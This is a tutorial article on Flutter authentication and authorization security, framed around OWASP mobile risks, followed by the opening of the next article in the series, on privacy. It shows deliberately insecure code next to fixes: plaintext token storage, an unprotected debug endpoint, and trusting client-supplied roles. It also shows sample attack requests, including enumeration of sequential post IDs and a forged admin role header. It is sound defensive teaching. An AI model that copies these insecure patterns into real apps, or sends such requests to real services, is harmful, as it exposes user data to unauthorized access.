  • Utilize Secure Tokens: Implement short-lived access tokens and robust refresh mechanisms. Validate these tokens on every request to ensure that the session remains secure.

  • Role and Permission Checks: Never trust client-supplied data for critical decisions like role assignments. Use server-side logic to confirm the user's privileges before executing any sensitive operation.

  • Centralized Logging and Monitoring: Incorporate logging of all critical actions and validation failures. This centralized logging not only helps in early detection of suspicious activities but also aids in post-incident analysis.

Remember: The principle of "defense in depth" means that every layer of your app, from the client to the server, must work together to ensure robust security.

Common Authentication Vulnerabilities in Flutter

Let’s walk through these common pitfalls together, exploring what typically goes wrong and how easily attackers can exploit these vulnerabilities. We’ll then examine robust solutions so you can confidently protect your apps from these risks.

Weak Password Policies

One of the simplest yet most overlooked vulnerabilities is weak password enforcement. At first glance, handling password inputs might seem straightforward. You create a simple registration form in Flutter, add a password field, and ensure users can't leave it blank. Your form might look something like this:

TextFormField(
  obscureText: true,
  decoration: InputDecoration(labelText: 'Password'),
  validator: (value) {
    if (value == null || value.isEmpty) {
      return 'Please enter your password';
    }
    // Ideally add length and complexity checks here
    return null;
  },
);

This snippet feels harmless; after all, you're verifying that users at least provide something. But consider this: attackers armed with automated tools can attempt thousands of common passwords in just a few minutes. With no complexity checks, no minimum-length enforcement, and no server-side protection, you've unintentionally provided them with a golden opportunity.Attackers thrive in these environments, efficiently bypassing client-side validations or intercepting requests to test countless weak passwords, such as "123456," "password," or "qwerty."

Why Does This Happen So Often?

  • Flutter developers sometimes mistakenly assume client-side validation is sufficient. However, attackers can effortlessly bypass local validation by manipulating the app or intercepting network requests.

  • As detailed in our 'Server-Side Validation' section, client-side password checks are only the first line of defense.

  • Weak passwords or predictable patterns make credential stuffing and brute-force attacks effective and widespread.

How to Secure Password Handling

Implementing strong password security is straightforward, but it requires diligence and consistent enforcement:

  • Always validate passwords on the backend rather than relying on client-side checks alone.

  • Enforce complexity rules:

    • Require passwords to be at least 8–12 characters.

    • Mandate a mix of uppercase letters, lowercase letters, numbers, and special characters.

  • Protect against automated attacks using rate limiting, account lockouts, or progressive delays after multiple failed login attempts.

Insecure Token Storage

We have talked about this in previous articles, too.Think of authentication tokens as master keys that open doors to your application’s sensitive areas. When users log in, your Flutter app typically receives a token, often a JWT, that proves their identity for future interactions. But what happens if these critical tokens aren't stored securely?Imagine you decide to store tokens using Flutter’s convenient SharedPreferences:

// Insecure storage: tokens are stored in plain text, making them vulnerable on rooted devices.
final prefs = await SharedPreferences.getInstance();
await prefs.setString('authToken', token); // store in pure text

// Secure storage: tokens are stored using hardware-backed mechanisms.
final secureStorage = FlutterSecureStorage();
await secureStorage.write(key: 'authToken', value: token);

Looks simple, right? Unfortunately, convenience here comes with significant risk. On a rooted Android device, an attacker can easily navigate to:

/data/data/com.example.myapp/shared_prefs/

There, your neatly stored tokens sit completely unencrypted, like spare house keys under a welcome mat. Attackers won't even need specialized tools—these tokens are accessible and readable in plain text, ready for misuse.

Why Does This Happen?

  • Flutter’s SharedPreferences is great for quickly storing user preferences, but it's never meant to handle sensitive data.

  • Remember, as highlighted in our 'Server-Side Validation' section, local storage should never be the only safeguard.

  • Developers often favor convenience and session persistence without fully recognizing the security implications.

Why Does This Happen?

  • Flutter’s SharedPreferences is great for quickly storing user preferences, but it's never meant to handle sensitive data.

  • Remember, as highlighted in our 'Server-Side Validation' section, local storage should never be the only safeguard.

  • Developers often favor convenience and session persistence without fully recognizing the security implications.

How to Securely Store Tokens

Fortunately, Flutter offers safer alternatives designed specifically for sensitive data. The best practice is to use flutter_secure_storage, which leverages Android's hardware-backed Keystore and iOS's secure Keychain. Here's how easily you can implement this:

import 'package:flutter_secure_storage/flutter_secure_storage.dart';

final secureStorage = FlutterSecureStorage();

await secureStorage.write(key: 'authToken', value: token);

Missing Multi-Factor Authentication (MFA)

Passwords alone are rarely strong enough, especially in mobile apps where convenience wins out over robust security. Users commonly select easy-to-remember passwords or reuse them across multiple platforms, dramatically increasing the risk of compromise. If your Flutter app relies solely on passwords, you leave a single weak point between your users and attackers.Imagine a banking app built in Flutter that requires only a username and password to log in, no OTP verification, no biometric checks, and nothing additional. If those credentials get leaked (and often do), an attacker can stroll through your security.

Why Does This Happen?

  • Passwords are easily compromised: Users frequently reuse them across sites, increasing the likelihood of being exposed to a breach.

  • Phishing and social engineering: Attackers constantly attempt to trick users into giving away credentials.

  • SIM-swap attacks: Even if SMS-based MFA is used, attackers might intercept messages, making simple SMS-based verification inadequate.

Without MFA, every leaked or phished password represents an immediate risk of complete account takeover.

Best Practices for Implementing MFA

Implementing Multi-Factor Authentication is the most effective way to protect your users and your app. MFA provides additional security layers beyond the password, significantly limiting damage from leaked credentials.Here’s how you can integrate robust MFA into your Flutter apps:

  • TOTP-based authentication: Use authenticator apps (like Google Authenticator or Authy) to generate unique, time-limited codes for each login.

  • Push-based notifications: Prompt users to approve logins through notifications on their trusted devices.

  • Biometric authentication: Utilize fingerprints or facial recognition as a secure fallback, especially for sensitive actions.

Implementing MFA using trusted third-party providers or custom backend logic dramatically enhances your security posture. It ensures that even if passwords are compromised, attackers face substantial barriers preventing unauthorized access.

Biometric Authentication Issues

Biometric authentication, like fingerprints or facial recognition, offers impressive convenience and is often perceived as highly secure. However, when biometrics are misused or incorrectly implemented, they can create a dangerous illusion of security.Consider a Flutter-based note-taking app that secures sensitive notes with a fingerprint scan, utilizing Flutter’s local_auth package.The implementation might look something like this:

import 'package:local_auth/local_auth.dart';

final localAuth = LocalAuthentication();

Future<bool> authenticateWithBiometrics() async {
  final isAvailable = await localAuth.canCheckBiometrics;
  if (!isAvailable) return false;

  return await localAuth.authenticate(
    localizedReason: 'Authenticate to access secure notes',
    options: const AuthenticationOptions(biometricOnly: true),
  );
}

This seems robust, right? Unfortunately, because this check occurs entirely on the client side, it's vulnerable to manipulation. An attacker with access to a rooted device can easily bypass or entirely fake the biometric verification by modifying the app, granting themselves unrestricted access to protected notes.

Why Does This Happen?

  • Purely local checks: Without verifying biometric success on the server-side, the local-only validation can easily be bypassed.

  • No secure fallback: The absence of an alternative verification (like a PIN or password) leaves your app vulnerable if biometrics are compromised or unsupported.

  • Missing session-based validation: If biometrics directly unlock sensitive content without validating sessions or tokens, the security of your data depends entirely on local security.

Best Practices for Secure Biometric Integration

To leverage biometrics safely in your Flutter applications:

  • Use biometrics to unlock securely stored tokens, not directly to grant immediate data access.

  • As outlined in our 'Server-Side Validation' section, biometrics should only serve as an initial step to unlock secure tokens. Always combine them with server-side validations to prevent bypass attempts.

  • Provide secure fallback methods (such as PIN or password) for devices without biometric support or in cases of biometric failure.

Following these guidelines will significantly enhance security, transforming biometrics from a misleading comfort to a genuinely robust protective measure.

Poor Session Management

Session management is the quiet guardian behind your app's security. Unfortunately, it's often overlooked—leading to tokens that never expire, missing logout functionality, and the absence of proper token-refresh logic. Such oversights can severely weaken your app’s security posture.Imagine a Flutter app designed to keep users conveniently logged in indefinitely.On the surface, users might appreciate the seamless experience. But what if their device gets lost, stolen, or compromised? Without a proper timeout or refresh strategy, the attacker instantly inherits an endless session, gaining continuous access to sensitive user data.

Why Does This Happen?

  • Long-lived tokens: Tokens with no expiration date or excessively long lifetimes significantly increase risk if they're ever compromised.

  • Lack of automatic mitigation: Without token expiration, there's no built-in mechanism to reduce damage or automatically revoke access.

  • Simplified session hijacking: Attackers find it easier to hijack sessions when tokens never expire or there is no effective logout procedure.

Best Practices for Secure Session Management

To protect your users and secure their sessions effectively:

  • Issue short-lived access tokens (typically around 15 minutes), significantly reducing the exposure window if compromised.

  • Utilize secure refresh tokens, stored safely using flutter_secure_storage, to renew access seamlessly yet securely.

  • Consistently implement a robust logout mechanism that clears tokens both locally and server-side, ensuring no lingering sessions remain active after logout.

  • Store all session tokens securely, leveraging encrypted local storage mechanisms like flutter_secure_storage.

Bypassing Authentication Controls

Sometimes, the most dangerous vulnerabilities are the ones you didn't even realize existed. It's easy to assume that if a feature isn't visible or directly accessible from your app’s UI, users won't find or exploit it—but attackers frequently prove this assumption wrong.

Consider this real-world scenario: A Flutter-based health application had an internal testing endpoint at /test-patient-info. It was designed to simplify QA processes by quickly fetching sensitive patient data. Unfortunately, developers forgot to secure this endpoint properly before launching to production:

// A request made without any authentication header
// If the backend fails to verify a token, it may allow data retrieval.
final response = await http.get(Uri.parse('https://api.example.com/test-patient-info'));
if (response.statusCode == 200) {
  print('Data: ${response.body}');
} else {
  print('Unauthorized or Not Found');
}

Without requiring an authentication token or performing authorization checks, this seemingly hidden endpoint quietly exposed sensitive patient information to anyone who knew where to look.

Why Does This Happen?

  • Developers mistakenly assume that users will never discover or exploit specific endpoints, particularly those meant for internal QA or debugging.

  • Forgotten test routes remain active, silently waiting to be exploited in production.

  • UI-level gating, such as hiding buttons or options from the user interface, is incorrectly treated as adequate security, even though attackers frequently bypass client-side controls.

Best Practices for Securing All Endpoints

To prevent attackers from exploiting hidden or forgotten endpoints:

  • As discussed in our 'Server-Side Validation' section, relying solely on client-side restrictions, like hiding endpoints, is risky.

  • Conduct a thorough audit of all available routes and endpoints before releasing your app to production.

  • Remove or fully disable test or debug endpoints in your release builds, minimizing unnecessary attack surfaces.

Common Authorization Vulnerabilities in Flutter

Unfortunately, many Flutter developers fall into common authorization pitfalls even when authentication is done right. A frequent misconception is that if an option or endpoint is hidden from the UI, users won't find or misuse it.This assumption fails to recognize how easily attackers can reverse-engineer apps or intercept network calls to uncover hidden endpoints or functionalities.Let’s explore some of the most prevalent authorization mistakes Flutter apps encounter, understanding what goes wrong, why these issues arise, and, most importantly, how to avoid them.

Broken Object Level Authorization (BOLA/IDOR)

Imagine you're building a Flutter-based social media app where each user creates and views their posts. To load a specific post, you might write a straightforward function like this:

Future<String?> fetchPost(String postId) async {
  final response = await http.get(
    Uri.parse('https://api.example.com/posts/$postId'),
  );
  if (response.statusCode == 200) {
    return response.body;
  } else {
    return null;
  }
}

At first glance, everything seems fine. After all, the user is authenticated. However, consider what happens if your backend only verifies that the user is logged in but doesn't verify if the post belongs to that user. Attackers can exploit this weakness easily by guessing or incrementing the post IDs to access other users' posts:

GET https://api.example.com/posts/1024
GET https://api.example.com/posts/1025
GET https://api.example.com/posts/1026

If these identifiers (1024, 1025, 1026) are sequential or easily predictable, you've unintentionally allowed attackers to access sensitive content belonging to other users. This is precisely what's known as Broken Object Level Authorization (BOLA), also called Insecure Direct Object Reference (IDOR), which is one of the most commonly exploited vulnerabilities in APIs today.

How to Secure Your Flutter App Against BOLA

To prevent BOLA vulnerabilities effectively, you should implement the following best practices clearly and consistently:

1. Always Verify Resource Ownership Server-Side

When handling requests for specific resources, your backend must ensure the user requesting the resource owns or has permission to access it.

2. Use UUIDs or Non-Predictable Identifiers

Instead of using sequential numbers (like 1024, 1025, etc.), use universally unique identifiers (UUIDs). UUIDs make it virtually impossible for attackers to guess or enumerate resource identifiers.For example, your API endpoint might look like this:

GET https://api.example.com/posts/4a1f23e2-74f8-4915-bb69-ec8f5b1c3d2a

You can easily generate UUIDs in Dart with the uuid package:

import 'package:uuid/uuid.dart';

final uuid = Uuid();

// Creating a new post with a unique UUID
String newPostId = uuid.v4(); // Generates a random UUID

Your backend would store and reference these UUIDs, significantly reducing the risk of unauthorized access via ID enumeration.

3. Never Rely on Client-Side Authorization

It's tempting to rely on UI-level logic to hide options or functionalities a user shouldn’t access. However, attackers can bypass the client side entirely. Server-side checks must always be your ultimate line of defense.

Broken Function Level Authorization (BFLA)

Suppose you’re building an admin dashboard in your Flutter application. You carefully design the UI so that regular users don’t see sensitive actions like "Delete User," reserving this functionality exclusively for administrators.In your frontend, you have something like:

// Admin-only button, hidden from regular users:
if (currentUser.role == 'admin') {
  ElevatedButton(
    onPressed: () {
      deleteUser(targetUserId);
    },
    child: Text('Delete User'),
  );
}

You might feel confident after all, regular users can't see or interact with this button, right? Unfortunately, attackers don't need a visible button to exploit your app.They can directly call your API endpoint with crafted requests, completely bypassing UI restrictions:

final response = await http.post(
  Uri.parse('https://api.example.com/admin/deleteUser'),
  body: {'userId': 'targetUserId'},
);

If your server-side logic lacks a robust check verifying user privileges, a non-admin user can effortlessly execute administrative actions like deleting users—this vulnerability is known as Broken Function Level Authorization (BFLA).

Why Does This Happen?

  • Developers mistakenly assume UI-level restrictions are sufficient protection.

  • Server-side checks for user roles or permissions are either weak or missing entirely.

  • Attackers can easily discover and craft API requests manually—even hidden endpoints are discoverable through reverse engineering or network analysis.

How to Secure Your Flutter App Against BFLA

Here are proven approaches to ensure your application properly validates user privileges and permissions:

1. Implement Strict Role-Based Checks on the Server

Always enforce access control logic on your backend, validating explicitly whether the user making the request has the correct privileges:

import 'dart:convert';
import 'package:shelf/shelf.dart';
import 'package:shelf/shelf_io.dart' as io;
import 'package:shelf_router/shelf_router.dart';

// Define an authenticated user model
class AuthenticatedUser {
  final String id;
  final String role;

  AuthenticatedUser({required this.id, required this.role});
}

// Handler function for deleting a user
Future<Response> deleteUserHandler(Request request) async {
  // Retrieve the authenticated user from the request context.
  final user = request.context['user'] as AuthenticatedUser?;
  if (user == null || user.role != 'admin') {
    // If the user is not authenticated or not an admin, return 403 Forbidden.
    return Response.forbidden(
      jsonEncode({'message': 'Unauthorized action'}),
      headers: {'Content-Type': 'application/json'},
    );
  }

  // Parse the request body to get the target user ID.
  final payload = jsonDecode(await request.readAsString());
  final targetUserId = payload['userId'];

  // Delete the user from the database.
  await deleteUserFromDatabase(targetUserId);

  // Return a successful response.
  return Response.ok(
    jsonEncode({'message': 'User deleted successfully'}),
    headers: {'Content-Type': 'application/json'},
  );
}

// Mock function to simulate deleting a user from a database.
Future<void> deleteUserFromDatabase(String userId) async {
  // Implement your deletion logic here.
  print('Deleting user with ID: $userId');
}

// Create and configure the router
Router getRouter() {
  final router = Router();
  router.post('/admin/deleteUser', deleteUserHandler);
  return router;
}

void main() async {
  final router = getRouter();
  // Create a pipeline with logging middleware.
  final handler = const Pipeline()
      .addMiddleware(logRequests())
      .addHandler(router);

  // Start the server on localhost at port 8080.
  final server = await io.serve(handler, 'localhost', 8080);
  print('Server listening on port ${server.port}');
}

This example ensures that only an authenticated user with an admin role can perform the delete operation.

2. Validate Roles Using Secure Tokens (JWT Claims)

Use JSON Web Tokens (JWT) to encode roles and permissions securely, allowing the server to validate these details without relying on client-supplied data:

{
  "sub": "user123",
  "role": "admin",
  "iat": 1711234567,
  "exp": 1711244567
}

When processing requests, the server must decode and verify the JWT claims thoroughly before allowing privileged actions.

3. Log and Monitor Abnormal Access Attempts

Ensure your backend actively logs all attempts—especially unsuccessful ones—to perform sensitive actions. Implement monitoring and alerts for suspicious behavior indicating potential attempts at privilege escalation:

import 'dart:convert';
import 'package:shelf/shelf.dart';

Future<Response> deleteUserHandler(Request request) async {
  final user = request.context['user'] as AuthenticatedUser;

  if (user.role != 'admin') {
    // Log suspicious activity
    print('⚠️ Unauthorized delete attempt by user: ${user.id}');

    // Notify your security team or alert system
    await alertSecurityTeam(user.id, 'Unauthorized deleteUser attempt');

    return Response.forbidden(
      jsonEncode({'message': 'Unauthorized action'}),
      headers: {'Content-Type': 'application/json'},
    );
  }

  // Extract data (e.g., userId) from request
  final payload = jsonDecode(await request.readAsString());
  final targetUserId = payload['userId'];

  // Proceed with authorized delete logic
  await deleteUserFromDatabase(targetUserId);

  return Response.ok(
    jsonEncode({'message': 'User deleted successfully'}),
    headers: {'Content-Type': 'application/json'},
  );
}

// Example of supporting classes/functions:
class AuthenticatedUser {
  final String id;
  final String role;

  AuthenticatedUser({required this.id, required this.role});
}

Future<void> alertSecurityTeam(String userId, String message) async {
  // Integrate your alert mechanism here (Slack, Email, Logs, etc.)
  print('🚨 Alert Security: User: $userId, Message: $message');
}

Future<void> deleteUserFromDatabase(String userId) async {
  // Your database deletion logic here
}

Improper Handling of Roles & Permissions

A common pitfall among Flutter developers is mistakenly placing trust in data controlled by clients, particularly roles and permissions. Imagine your app stores a user's role locally and includes it in request headers.Your backend API might initially look like this:

GET https://api.example.com/admin/dashboard
Headers:
  role: "user"

An attacker quickly realizes that changing this header from role: "user" to role: "admin" grants unrestricted administrative access:

GET https://api.example.com/admin/dashboard
Headers:
  role: "admin"

In line with our 'Server-Side Validation' best practices, never trust client-supplied role data. Always verify roles and permissions on the backend to ensure proper authorization.

Why Does This Happen?

  • Developers sometimes incorrectly assume clients will behave honestly, trusting user-controlled data such as request headers or local state.

  • The backend lacks robust verification of user roles or permissions.

  • Client-side roles, stored locally or sent in request bodies or headers, can easily be tampered with.

Best Practices to Securely Handle Roles and Permissions

To protect your Flutter app effectively from role manipulation:

1. Encode Roles in Securely Signed Tokens (JWT Claims)

Use JWT (JSON Web Token) claims to encode user roles securely, ensuring they cannot be modified without detection:

// Example JWT payload
{
  "sub": "user123",
  "role": "admin",
  "exp": 1711244567
}

2. Never Trust Client-Supplied Data for Authorization

Always perform server-side validation using secure tokens. Verify the JWT claims carefully to ensure the user's role matches the privileges required to access the requested functionality:

import 'dart:convert';
import 'package:shelf/shelf.dart';

Future<Response> adminDashboardHandler(Request request) async {
  final user = request.context['user'] as AuthenticatedUser;

  if (user.role != 'admin') {
    return Response.forbidden(
      jsonEncode({'message': 'Forbidden'}),
      headers: {'Content-Type': 'application/json'},
    );
  }

  final dashboardData = await getAdminDashboardData();

  return Response.ok(
    jsonEncode(dashboardData),
    headers: {'Content-Type': 'application/json'},
  );
}

// Example supporting classes/functions:
class AuthenticatedUser {
  final String id;
  final String role;

  AuthenticatedUser({required this.id, required this.role});
}

Future<Map<String, dynamic>> getAdminDashboardData() async {
  // Fetch and return dashboard data securely
  return {
    'userCount': 2500,
    'activeSessions': 123,
    // Add additional admin-specific metrics here
  };
}

3. Maintain Roles in Secure Internal Databases

Always maintain roles and permissions internally on the server or through secure user databases, never trusting the client's submitted values. Use JWT claims merely to identify and cross-reference server-side data:

// Dart representation of secure JWT payload
class JwtPayload {
  final String userId;
  final String role;

  JwtPayload({required this.userId, required this.role});
}

Exposed or Hidden Admin Endpoints

It's tempting to believe that hiding an endpoint, such as one used during testing or development, is enough to keep it secure. Developers might think, "If users can't see it, they won't find it." But in security, hiding is never enough.Imagine you've developed a Flutter-based service with a backend API that includes an internal debugging route like /beta-endpoint. Perhaps it's intended to fetch all user emails for internal testing purposes quickly. In Dart, this endpoint might initially be written without proper protection, like this:

import 'dart:convert';
import 'package:shelf/shelf.dart';
import 'package:shelf_router/shelf_router.dart';

// ⚠️ Insecure debug endpoint left active in production!
Router insecureRouter() {
  final router = Router();

  router.get('/beta-endpoint', (Request request) async {
    final emails = await database.getAllUserEmails(); // No authentication!
    return Response.ok(
      jsonEncode({'emails': emails}),
      headers: {'Content-Type': 'application/json'},
    );
  });

  return router;
}

Developers might forget or consider it safe because it doesn't appear in the app's UI. However, attackers regularly use automated tools, network analyzers, or reverse engineering techniques to uncover hidden API endpoints. Once discovered, endpoints lacking proper authentication and authorization become glaring vulnerabilities, exposing sensitive user data to unauthorized actors.Here is a good example:

import 'dart:convert';
import 'package:shelf/shelf.dart';
import 'package:shelf_router/shelf_router.dart';

// Example user model
class AuthenticatedUser {
  final String id;
  final String role;
  AuthenticatedUser({required this.id, required this.role});
}

// Secure endpoint handler with authentication & authorization
Router secureRouter() {
  final router = Router();

  router.get('/beta-endpoint', (Request request) async {
    final user = request.context['user'] as AuthenticatedUser?;

    // Ensure endpoint is accessible only by authorized internal roles
    if (user == null || user.role != 'admin') {
      return Response.forbidden(
        jsonEncode({'message': 'Forbidden'}),
        headers: {'Content-Type': 'application/json'},
      );
    }

    final emails = await database.getAllUserEmails();

    return Response.ok(
      jsonEncode({'emails': emails}),
      headers: {'Content-Type': 'application/json'},
    );
  });

  return router;
}

// Mock database function (example)
class database {
  static Future<List<String>> getAllUserEmails() async {
    return ['[email protected]', '[email protected]'];
  }
}

Why Does This Happen? (OWASP Insight)

  • Developers often mistakenly rely on "security through obscurity," assuming hidden or undocumented endpoints won't be discovered.

  • Endpoint enumeration via automated scanning, fuzzing, or app reverse-engineering is common among attackers, quickly revealing these "hidden" routes.

  • Leftover endpoints from testing phases frequently remain unsecured and active, silently waiting to be exploited.

Best Practices for Securing Your API Endpoints

To ensure hidden or administrative endpoints don't compromise your app's security:

  • As part of your deployment process, regularly audit all API routes, identifying endpoints that aren't meant for public use.

  • Separate development and production environments—remove or fully disable development-only endpoints before your app reaches production.

  • Apply strict, role-appropriate authentication and authorization to every endpoint, regardless of its intended use or visibility.

Additional Topics & Best Practices

To avoid repetition, here’s a concise recap of critical authentication and authorization practices covered earlier:

  • Strong Password Enforcement: Always enforce complexity and length rules server-side, with lockout mechanisms.

  • Secure Token Storage: Use flutter_secure_storage to store JWT tokens safely.

  • Multi-Factor Authentication (MFA): Implement MFA (TOTP, push notifications, biometrics) to secure critical actions.

  • Proper Biometric Use: Employ biometrics to unlock secure tokens; never rely solely on biometrics for sensitive data access.

  • Robust Session Management: Issue short-lived JWT access tokens with secure refresh tokens. Always validate JWT claims and include necessary metadata.

Apart from these, let me review a few more practical tips.

Role-Based Access Control (RBAC)

Role-Based Access Control (RBAC) maps users to predefined roles (e.g., Admin, Editor, Viewer) and limits each role to specific permissions. This prevents users from stepping outside their assigned boundaries. Instead of checking individual user permissions every time, the system checks the role, and that role has known capabilities.

  1. Define Roles. Decide what roles your application needs. Keep them minimal and purposeful (e.g., an e-commerce platform might have Customer, Seller, Admin).

  2. Assign Permissions. Each role has a set of allowed actions, like CreateOrder, ModifyProduct, or DeleteUser.

  3. Enforce at the Server. The server verifies the user’s role, typically from a JWT claim or a session lookup, and checks whether the requested action is permitted.

A Flutter UI can use roles to hide or show features, but the critical check remains on the server. Even if someone modifies the Flutter app to expose an admin feature, the server should reject the request if their role is not actually Admin.

Secure Third-Party Authentication (Google, Apple, etc.)

Third-party authentication services like Google or Apple Sign-In offer users a seamless login experience. But convenience doesn't automatically equal security. Your backend must independently verify tokens provided by third-party services to ensure authenticity.A typical Google Sign-In integration in Flutter might look like this:

import 'package:google_sign_in/google_sign_in.dart';

final GoogleSignIn _googleSignIn = GoogleSignIn(scopes: ['email']);
final account = await _googleSignIn.signIn();
final auth = await account?.authentication;

final idToken = auth?.idToken;
final accessToken = auth?.accessToken;

// Send ID token securely to your backend for validation
await http.post(
  Uri.parse('https://your-api.com/auth/google'),
  headers: {'Content-Type': 'application/json'},
  body: jsonEncode({'idToken': idToken}),
);

Never assume the ID token is valid just because Google issued it. Always verify the token server-side before granting access.Here’s how you might implement a token validation service in Dart using HTTP:

import 'dart:convert';
import 'package:http/http.dart' as http;
import 'package:shelf/shelf.dart';

const googleClientId = 'your-google-client-id.apps.googleusercontent.com';

Future<Response> googleAuthHandler(Request request) async {
  final body = await request.readAsString();
  final data = jsonDecode(body);
  final idToken = data['idToken'];

  final googleVerificationUrl =
      'https://oauth2.googleapis.com/tokeninfo?id_token=$idToken';

  final response = await http.get(Uri.parse(googleVerificationUrl));

  if (response.statusCode != 200) {
    return Response.forbidden(
      jsonEncode({'error': 'Invalid Google token'}),
      headers: {'Content-Type': 'application/json'},
    );
  }

  final payload = jsonDecode(response.body);

  if (payload['aud'] != googleClientId) {
    return Response.forbidden(
      jsonEncode({'error': 'Invalid audience'}),
      headers: {'Content-Type': 'application/json'},
    );
  }

  final userId = payload['sub'];
  final email = payload['email'];

  // TODO: Create or fetch the user in your own system
  final sessionToken = await createSessionForUser(userId, email);

  return Response.ok(
    jsonEncode({'sessionToken': sessionToken}),
    headers: {'Content-Type': 'application/json'},
  );
}

Future<String> createSessionForUser(String userId, String email) async {
  // Your logic to create or resume a user session securely
  return 'secure-session-token-for-$userId';
}

Principle of Least Privilege

The "Principle of Least Privilege" is essential to secure authorization. Simply put, users should only have the minimum permissions necessary to perform their tasks—no more, no less.Consider a Flutter e-commerce app scenario where sellers manage product listings. Each seller should only manage their own items. Granting broader administrative privileges unnecessarily exposes sensitive data or functionality.Why this matters:

  • Excessive permissions amplify the impact if an account is compromised.

  • Attackers thrive in environments with broadly assigned roles.

Best practices to implement least privilege:

  • Clearly define roles (e.g., Admin, Editor, Seller, Viewer) and associated permissions.

  • Regularly audit permissions to remove unnecessary privileges.

  • Temporarily elevate permissions only when essential, reverting immediately afterward.

JWT role example:

{
  "sub": "user456",
  "role": "seller",
  "permissions": ["manageOwnProducts", "viewOrders"]
}

Server-side enforcement

import 'dart:convert';
import 'package:shelf/shelf.dart';
import 'package:shelf_router/shelf_router.dart';

// Mock product model
class Product {
  final String id;
  final String ownerId;

  Product({required this.id, required this.ownerId});
}

// Mock authenticated user model
class AuthenticatedUser {
  final String id;
  final String role;
  final List<String> permissions;

  AuthenticatedUser({
    required this.id,
    required this.role,
    required this.permissions,
  });
}

// Secure route to update product info
Router sellerRouter() {
  final router = Router();

  router.put('/products/<id>', (Request request, String id) async {
    final user = request.context['user'] as AuthenticatedUser?;
    if (user == null) {
      return Response.forbidden(jsonEncode({'message': 'Authentication required'}));
    }

    // Fetch the product
    final product = await getProductById(id);

    // Check ownership and permission
    if (product.ownerId != user.id || !user.permissions.contains('manageOwnProducts')) {
      return Response.forbidden(
        jsonEncode({'message': 'Unauthorized to modify this product'}),
        headers: {'Content-Type': 'application/json'},
      );
    }

    // Update product logic here...
    await updateProduct(id, request);

    return Response.ok(
      jsonEncode({'message': 'Product updated successfully'}),
      headers: {'Content-Type': 'application/json'},
    );
  });

  return router;
}

// Mock DB lookup
Future<Product> getProductById(String id) async {
  return Product(id: id, ownerId: 'user456');
}

// Mock update
Future<void> updateProduct(String id, Request request) async {
  // Update logic...
}

Runtime Protection in Flutter (RASP)

You’ve implemented secure authentication, stored tokens safely, and enforced strict role-based access on your backend. You’ve checked all the boxes. But here’s the uncomfortable truth: even with all that in place, your app can still be tampered with—at runtime—especially on rooted or jailbroken devices.This is where Runtime Application Self-Protection (RASP) becomes critical. Unlike static protections, RASP monitors your app’s environment in real time, detecting and responding to suspicious behavior while it is running.

Real-World Attack Scenario

Consider this scenario: You've meticulously secured your Flutter app by enforcing strong password policies, securely storing tokens, and implementing rigorous role-based access control on your backend APIs. You feel confident your app is secure.However, an attacker installs your app on a rooted device using sophisticated tools like Frida or Xposed. They can bypass local biometric authentication checks, intercept and manipulate API requests, and disable crucial security logic. Without runtime protection measures, you'd likely never detect this active manipulation, exposing sensitive user data.

How to Defend Against Runtime Threats with freeRASP

To close this final security gap, consider integrating Runtime Application Self-Protection (RASP) into your Flutter app. RASP actively monitors and responds to runtime threats, significantly reducing the risk of real-time app tampering.One effective Flutter-compatible RASP solution is freeRASP, which offers easy-to-integrate runtime threat detection. Here's a practical example of how simple it is to set up your Flutter project:

Future<void> _initializeTalsec() async {
  final config = TalsecConfig(
    androidConfig: AndroidConfig(
      packageName: 'com.aheaditec.freeraspExample',
      signingCertHashes: ['AKoRuyLMM91E7lX/Zqp3u4jMmd0A7hH/Iqozu0TMVd0='],
      supportedStores: ['com.sec.android.app.samsungapps'],
      malwareConfig: MalwareConfig(
        blacklistedPackageNames: ['com.aheaditec.freeraspExample'],
        suspiciousPermissions: [
          ['android.permission.CAMERA'],
          ['android.permission.READ_SMS', 'android.permission.READ_CONTACTS'],
        ],
      ),
    ),
    iosConfig: IOSConfig(
      bundleIds: ['com.aheaditec.freeraspExample'],
      teamId: 'M8AK35...',
    ),
    watcherMail: '[email protected]',
    isProd: true,
  );

  await Talsec.instance.start(config);
}

What Does freeRASP Detect?

freeRASP continuously scans and detects:

  • Rooted or jailbroken devices

  • Debugger attachment

  • Emulator usage

  • Binary tampering or re-signing

  • SSL pinning bypass attempts

Why Runtime Protection is Essential

Even the most substantial design-level security can fail when attackers actively tamper with your app during runtime. RASP provides a critical, proactive defense layer, monitoring your app's environment continuously. It detects threats as they occur and allows your app to react in real-time, making it significantly harder for attackers to succeed.In essence, Runtime Application Self-Protection bridges the critical gap between security by design and security in practice, giving you peace of mind that your Flutter app remains protected, no matter how sophisticated the attack.Here is a layered security model to show what are the level of check for a simple input:

Now let me introduce you a quick checklist that can help you be on top of security of your app.

Checklist for Secure Flutter Authentication & Authorization:

[ ] Enforce strong password policies with both client- and server-side validation.

[ ] Store tokens using secure methods (e.g., flutter_secure_storage).

[ ] Implement multi-factor authentication (MFA) to add extra security layers.

[ ] Validate user roles and permissions exclusively on the server.

[ ] Use runtime protection (e.g., freeRASP) to detect live threats.

[ ] Regularly audit and remove unnecessary endpoints and debugging routes.

Conclusion

Never rely solely on your Flutter app’s UI for access control. Assume every device is potentially compromised, validating all actions server-side and layering defenses—secure token storage, multi-factor authentication, biometrics, and passwords. Runtime protection (RASP) detects and actively responds to live threats.Securing authentication and authorization in Flutter isn't a one-time fix—it's an ongoing process. By consistently applying these best practices, you'll build apps users can trust, enabling your team to scale securely and frustrating attackers at every step.

Majid Hajian - Azure & AI advocate@Microsoft, Dart & Flutter community leader, Organizer@FlutterVikings, http://flutterengineering.io author

https://x.com/mhadaily

Cover
Logo

OWASP Top 10 For Flutter – M6: Inadequate Privacy Controls in Flutter & Dart

Welcome back to our deep dive into the . In earlier parts, we tackled , , , , and , each a critical piece of the mobile security puzzle.

In this sixth article, we focus on M6: Inadequate Privacy Controls, a risk that lurks not in broken code or cracked crypto, but in how we collect, use, and protect user data.

This article isn’t just about avoiding legal trouble; it’s about writing Flutter apps that respect user privacy by design. We’ll start by defining what OWASP means by “Inadequate Privacy Controls,” then dive into practical Dart/Flutter scenarios where privacy can slip: from apps over-collecting personal info, to leaky logs, unchecked third-party SDKs, and more.

Let's get started.

Understanding Privacy in Mobile Apps

What is Privacy in Mobile Apps?

Privacy in mobile apps revolves around protecting PII (Personally Identifiable Information) , data that can identify an individual. This includes sensitive information like:

  • Names

  • Addresses

  • Credit card details

  • Email addresses

  • IP addresses

  • Health, religious, or political information

